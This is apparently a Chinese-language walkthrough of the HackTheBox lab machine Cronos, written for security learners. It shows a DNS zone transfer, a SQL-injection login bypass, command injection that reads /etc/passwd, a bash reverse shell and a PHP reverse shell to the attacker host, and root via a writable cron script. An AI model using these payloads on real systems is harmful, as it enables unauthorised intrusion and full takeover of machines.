Cronos 是一个中等难度的靶机,知识点涉及 DNS 区域传输、万能密码、命令执行、计划任务提权等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.13 -oA nmap_Cronos --min-rate=1000
扫描结果显示目标开放22、53及80端口
53端口
53端口对应的是 DNS 服务,主要用于域名解析,可实现域名和 IP 地址之间的转换。通过 nslookup 命令可查询当前的域名服务器
nslookup
> server 10.10.10.13
> 10.10.10.13
当前域名服务器为ns1.cronos.htb
,所基于的域名是cronos.htb
。我们可利用该域名尝试 DNS 区域传输攻击
dig axfr @10.10.10.13 cronos.htb
成功拿到两个子域名:www.cronos.htb
、admin.cronos.htb
,并把它们添加至 hosts 文件中配置域名解析
vim /etc/hosts
#配置
10.10.10.13 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb
80端口
访问后为 Ubuntu Apache 2 默认界面
访问域名www.cronos.htb
,其中所有外链都指向 Laravel 框架
在响应包中存在laravel_session
,因此可确定网站采用了 Laravel 框架
访问域名admin.cronos.htb
为管理员登录界面
漏洞查找
Laravel是一个开源的PHP框架,用于构建Web应用程序。它主要用于快速开发和可扩展的Web应用,提供了丰富的工具和组件来帮助开发者开发和维护Web应用。Laravel也专注于保持编码质量,并提供简单而优雅的解决方案,以便开发者可以更快地完成工作。
使用 searchsploit 搜索 Laravel 框架已知的漏洞
searchsploit laravel
结果中比较有价值的是 token 反序列化导致的远程代码执行漏洞,但是该漏洞执行条件需要APP_KEY
,同时也无法确定网站中 Laravel 框架的版本是什么?如果成功找到APP_KEY
可尝试使用该漏洞进行验证
0x02 上线[www-data]
万能密码
在登录界面中存在万能密码漏洞,例如使用用户名admin'-- -
+ 任意密码可成功登录应用
万能密码的本质是 SQL 注入漏洞,根据当前 payload 推测其 SQL 语句如下:
select * from users where username='[username]' and password='
';
填入当前 payload 后可成功绕过,从而实现用户登录
select * from users where username='admin'-- -' and password='1';
在后台应用中只有一个网络工具,其中存在ping
以及traceroute
命令,主要用于测试网络连通性
测试本地地址,成功 ping 通
命令执行
使用 BurpSuite 抓包,拿到请求包如下:
POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://admin.cronos.htb
Connection: close
Referer: http://admin.cronos.htb/welcome.php
Cookie: PHPSESSID=q7j3dm1vf4umfn7r9s9fb7ans6
Upgrade-Insecure-Requests: 1
command=ping+-c+1&host=10.10.14.14
推测其中的command
参数和host
参数共同构成命令:ping -c 1 10.10.14.14
,在本地执行后对比其结果与页面返回信息一致
尝试拼接命令查看/etc/passwd
,成功返回说明推测正确
command=cat&host=/etc/passwd
通过 URL 编码反弹shell
command=bash+-c+'exec+bash+-i+%26>/dev/tcp/10.10.14.14/443+<%261'&host=
成功拿到反弹shell,当前权限为www-data
id
在用户目录/home/noulis
中成功找到第一个flag
cd /home/noulis && ls
cat user.txt
0x03 权限提升[root]
信息收集
在本地启动 http 服务并在靶机中下载linpeas.sh
cd /tmp
wget http://10.10.14.14/linpeas.sh
执行linpeas.sh
收集靶机中有关系统的安全设置和可能存在的漏洞信息
chmod +x linpeas.sh
./linpeas.sh
成功找到计划任务,它将每隔一分钟以 root 权限执行一次以下命令
php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
当然还发现了 Laravel 的配置信息,其中存在数据库配置、APP_KEY
等
计划任务提权
查看文件artisan
的权限,发现当前用户拥有可读、可写、可执行权限
ls -la /var/www/laravel/artisan
其内容是 PHP 脚本
cat /var/www/laravel/artisan
在artisan
中写入反弹shell代码
echo '<?php $sock=fsockopen("10.10.14.14", 4444);' > artisan
echo 'exec("/bin/sh -i <&3 >&3 2>&3");?>' >> artisan
等待计划任务执行,成功拿到反弹shell
通过 python 调用 bash 使命令行更加清晰
python -c 'import pty;pty.spawn("bash")'
成功在/root
目录中找到第二个flag
ls /root
cat root.txt
0x04 总结
Cronos 分离开来是 Cron + OS,Cron 译为计划,而 OS 为操作系统,由名字可知该靶机可能涉及到计划任务。通过信息收集发现目标开放53和80端口,而53端口对应 DNS 服务,经测试存在 DNS 区域传输漏洞,利用该漏洞可成功拿到两个子域名:www.cronos.htb
、admin.cronos.htb
。配置域名解析后访问所对应的网站,其中www
子域名站点使用 Laravel 框架,admin
子域名站点则为管理登录界面。
使用 searchsploit 搜索 Laravel 框架存在的漏洞,经判断都无法利用。但登录界面中存在万能密码漏洞,通过admin'-- -
配合任意密码可绕过限制登录后台,但后台只有一个网络工具,它的主要功能是使用ping
、traceroute
命令测试网络,通过 BurpSuite 抓包可知命令执行会传递command
、host
参数,两者拼接后组成完整的命令。由于后台未对执行的命令进行限制,所以存在命令执行漏洞,利用该漏洞可成功拿到反弹shell。
上传linpeaas
至服务器,该脚本执行后会检查 Linux 中的安全配置、敏感文件以及可能存在的漏洞。结果发现 Laravel 的配置信息以及可利用的计划任务,计划任务的具体内容是每分钟以 root 权限执行脚本/var/www/laravel/artisan
,幸运的是当前用户拥有该脚本的写入权限,因此可写入利用代码覆盖原脚本,完成后等待计划任务执行便能拿到 root 权限。
原文始发于微信公众号(A11Safe):HTB渗透之Cronos
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论